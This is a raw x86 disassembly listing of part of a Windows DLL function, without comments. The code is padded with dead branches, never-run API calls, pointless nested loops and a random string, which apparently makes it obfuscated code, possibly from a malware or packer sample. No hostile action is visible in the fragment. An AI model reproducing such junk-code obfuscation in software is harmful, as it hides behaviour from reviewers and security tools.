lea ecx, [ebp - 0xcc]
call fcn.10006036
mov dword [ebp - 0x48], 0x1836ccb0
push 0xfffffffffffffff7
mov dword [ebp - 0x48], 0x39cb61d2
pop edx
mov dword [ebp - 0x48], edx
mov dword [ebp - 0x2c], 0x8aa2
mov dword [ebp - 0x20], ebx
jmp 0x10022a7b
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0xcc]
mov dword [eax + ecx*4], 0x8a13
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 4
jl 0x10022a68
mov dword [ebp - 0x20], ebx
jmp 0x10022a93
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x1ac], edx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 1
jl 0x10022a86
inc dword [ebp - 0x2c]
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x10022ab0
push ebx
push 1
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventW]
cmp dword [ebp - 0xcc], 0
je 0x10022ad7
push dword [ebp - 0xcc]
call fcn.10048c99
pop ecx
mov dword [ebp - 0xcc], ebx
mov dword [ebp - 0xc8], ebx
mov dword [ebp - 0xc4], ebx
mov eax, dword [ebp - 0x80]
add eax, 0x4257
jne 0x10022aed
cmp dword [ebp - 0x238], ebx
jne 0x10022aed
mov edx, ebx
jmp 0x10022af0
xor edx, edx
inc edx
mov eax, dword [ebp - 0x3c]
xor ecx, ecx
inc ecx
sub ecx, eax
je 0x10022afd
mov eax, dword [ebp - 0x44]
lea eax, [edx - 1]
mov dword [ebp - 0x7c], eax
mov byte [ebp - 4], 0x10
cmp dword [ebp - 0xd8], 0
je 0x10022b2e
push dword [ebp - 0xd8]
call fcn.10048c99
pop ecx
mov dword [ebp - 0xd8], ebx
mov dword [ebp - 0xd4], ebx
mov dword [ebp - 0xd0], ebx
xor eax, eax
mov dword [ebp - 0x150], 7
mov word [ebp - 0x164], ax
lea ecx, [ebp - 0x164]
lea eax, [ebp - 0x68]
mov dword [ebp - 0x154], ebx
push eax
call fcn.10006a1e
mov byte [ebp - 4], 0x14
mov dword [ebp - 0x44], 0x338
cmp dword [ebp - 0x44], 0x376
jle 0x10022bbf
push ebx
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, ebx
mov dword [ebp - 0x3c], ebx
mov esi, ebx
mov dword [ebp - 0x2c], ebx
mov eax, edi
mov dword [ebp - 0x48], ebx
cdq
mov edi, ebx
idiv esi
mov esi, edx
mov eax, esi
mov ecx, 0x1007cdd8
or eax, edi
cdq
push edx
push eax
call fcn.10005d27
inc edi
cmp edi, 0x540a
jl 0x10022b87
mov esi, dword [ebp - 0x2c]
mov edi, dword [ebp - 0x3c]
inc esi
mov dword [ebp - 0x2c], esi
cmp esi, 0x1a50
jl 0x10022b7b
inc edi
mov dword [ebp - 0x3c], edi
cmp edi, 0x3f7
jl 0x10022b76
xor esi, esi
mov dword [ebp - 0x24], 0x87df2f4a
inc esi
mov byte [ebp - 4], 0x15
cmp dword [ebp - 0x44], esi
jge 0x10022c02
mov edx, str.wyrxhl_qvpy_xbdazgpuk_uaodlo_ier_hfeygp_utkmoetm_gupcwbkz_xgzysrof_wbsx_wljvvdg_jynhfcrv_bekeiptgg_hczlhdp
mov ecx, 0x1007cdd8
call fcn.100089dc
jmp 0x10022c02
mov dword [ebp - 4], 0x14
mov dword [ebp - 0x48], 0x6cd8
mov dword [ebp - 0x24], ebx
jmp 0x10022c26
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x18c], 0xfffb
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 2
jl 0x10022c15
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x10022c40
push 0xd5f
call dword [sym.imp.USER32.dll_GetKeyState]
mov dword [ebp - 0x24], esi
cmp dword [ebp - 0x24], ebx
jl 0x10022c9b
mov dword [ebp - 0x48], 0xb2e809b4
mov dword [ebp - 0x48], 0xffffffff
mov dword [ebp - 0x48], 0x13281d21
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x10022c72
push ebx
push 0x111
call dword [sym.imp.KERNEL32.dll_IsDBCSLeadByteEx]
mov eax, dword [ebp - 0x24]
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x18c]
test eax, eax
sete cl
mov dword [ebp - 0x48], ecx
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x10022c96
push ebx
call dword [sym.imp.KERNEL32.dll_Sleep]
dec dword [ebp - 0x24]
jns 0x10022c48
push 2
pop edi
push edi
lea ecx, [ebp - 0xfc]
mov dword [ebp - 0x68], ebx
call fcn.10006036
mov dword [ebp - 0x1c], 0x638ecf54
mov dword [ebp - 0x24], ebx
jmp 0x10022ccc
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0xfc]
mov dword [eax + ecx*4], 0xb90d
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jl 0x10022cb9
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x1c], 0xfffffff6
jmp 0x10022cf2
mov dword [ebp - 0x2c], 0x2631
dec dword [ebp - 0x2c]
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xfffffff4
jge 0x10022ce5
push dword [ebp - 0xfc]
call fcn.10048c99
mov dword [ebp - 0xfc], ebx
mov dword [ebp - 0xf8], ebx
mov dword [ebp - 0xf4], ebx
pop ecx
mov dword [ebp - 0x38], esi
lea ecx, [ebp - 0x11c]
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x24], 0xfffffffb
mov dword [ebp - 0x2c], ebx
push 4
call fcn.10006036
mov dword [ebp - 0x28], ebx
jmp 0x10022d49
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x1cc], 0x24891023
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], edi
jl 0x10022d38
mov dword [ebp - 0x28], ebx
jmp 0x10022d60
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x140], esi
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 3
jl 0x10022d53
mov dword [ebp - 0x28], ebx
jmp 0x10022d78
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x22c], esi
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 3
jl 0x10022d6b
mov dword [ebp - 0x28], ebx
jmp 0x10022d96
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x11c]
mov dword [eax + ecx*4], 0xdfce9586
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 4
jl 0x10022d83
inc dword [ebp - 0x140]
xor edx, edx
mov ecx, dword [ebp - 0x140]
mov dword [ebp - 0x1cc], ecx
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
cmp ecx, eax
setle dl
imul edx, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x48], edx
xor edx, edx
cmp eax, ecx
setl dl
xor eax, eax
cmp dword [ebp - 0x48], edx
setne al
cmp eax, 0x55f992db
jne 0x10022de7
mov eax, dword [ebp - 0x140]
mov eax, dword [ebp - 0x38]
xor edx, edx
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x24]
cmp eax, esi
mov eax, dword [ebp - 0x24]
setl dl
xor ecx, ecx
sub edx, 0x5906bb24
cmp edx, eax
setne cl
xor eax, eax
cmp eax, ecx
sbb eax, eax
xor edx, edx
inc eax
cmp eax, 0x5f0e
mov eax, dword [ebp - 0x2c]
setge dl
xor ecx, ecx
cmp eax, edx
setle cl
xor edx, edx
cmp ecx, 0xffffffff
setl dl
xor ecx, ecx
imul edx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x24]
cmp edx, eax
setge cl
cmp ecx, 6
jg 0x10022e4d
mov edx, ebx
cmp dword [ebp - 0x140], ebx
je 0x10022e4f
mov edx, esi
mov eax, dword [ebp - 0x38]
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x38]
setl cl
xor edx, edx
cmp ecx, eax
mov ecx, dword [ebp - 0x11c]
push ecx
setl dl
mov dword [ebp - 0x224], edx
lea eax, [edx + 0x4bb9]
mov dword [ecx], eax
call fcn.10048c99
pop ecx
push 0x5f
mov cl, bl
mov dword [ebp - 0x11c], ebx
pop eax
mov dword [ebp - 0x118], ebx
mov dword [ebp - 0x114], ebx
mov byte [ebp - 0x58], cl
mov dword [ebp - 0x57], 0x9ee104da
mov word [ebp - 0x53], 0xb91
mov word [ebp - 0x64], ax
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x24], edi
cmp edi, 7
jae 0x10022fd3
movzx eax, cl
lea eax, [eax*2 + 2]
cmp edi, eax
jne 0x10022ed9
xor eax, eax
mov dword [ebp - 0x1b0], 7
mov word [ebp - 0x62], ax
lea ecx, [ebp - 0x1c4]
mov word [ebp - 0x1c4], ax
lea eax, [ebp - 0x64]
push eax
mov dword [ebp - 0x1b4], ebx
call fcn.10006a1e
push esi
lea ecx, [ebp - 0x14c]
mov byte [ebp - 4], 0x19
call fcn.10006036
push esi
lea ecx, [ebp - 0x134]
mov byte [ebp - 4], 0x1a
call fcn.10006036
mov dword [ebp - 0x48], 0x600d5493
mov dword [ebp - 0x20], ebx
jmp 0x1002303a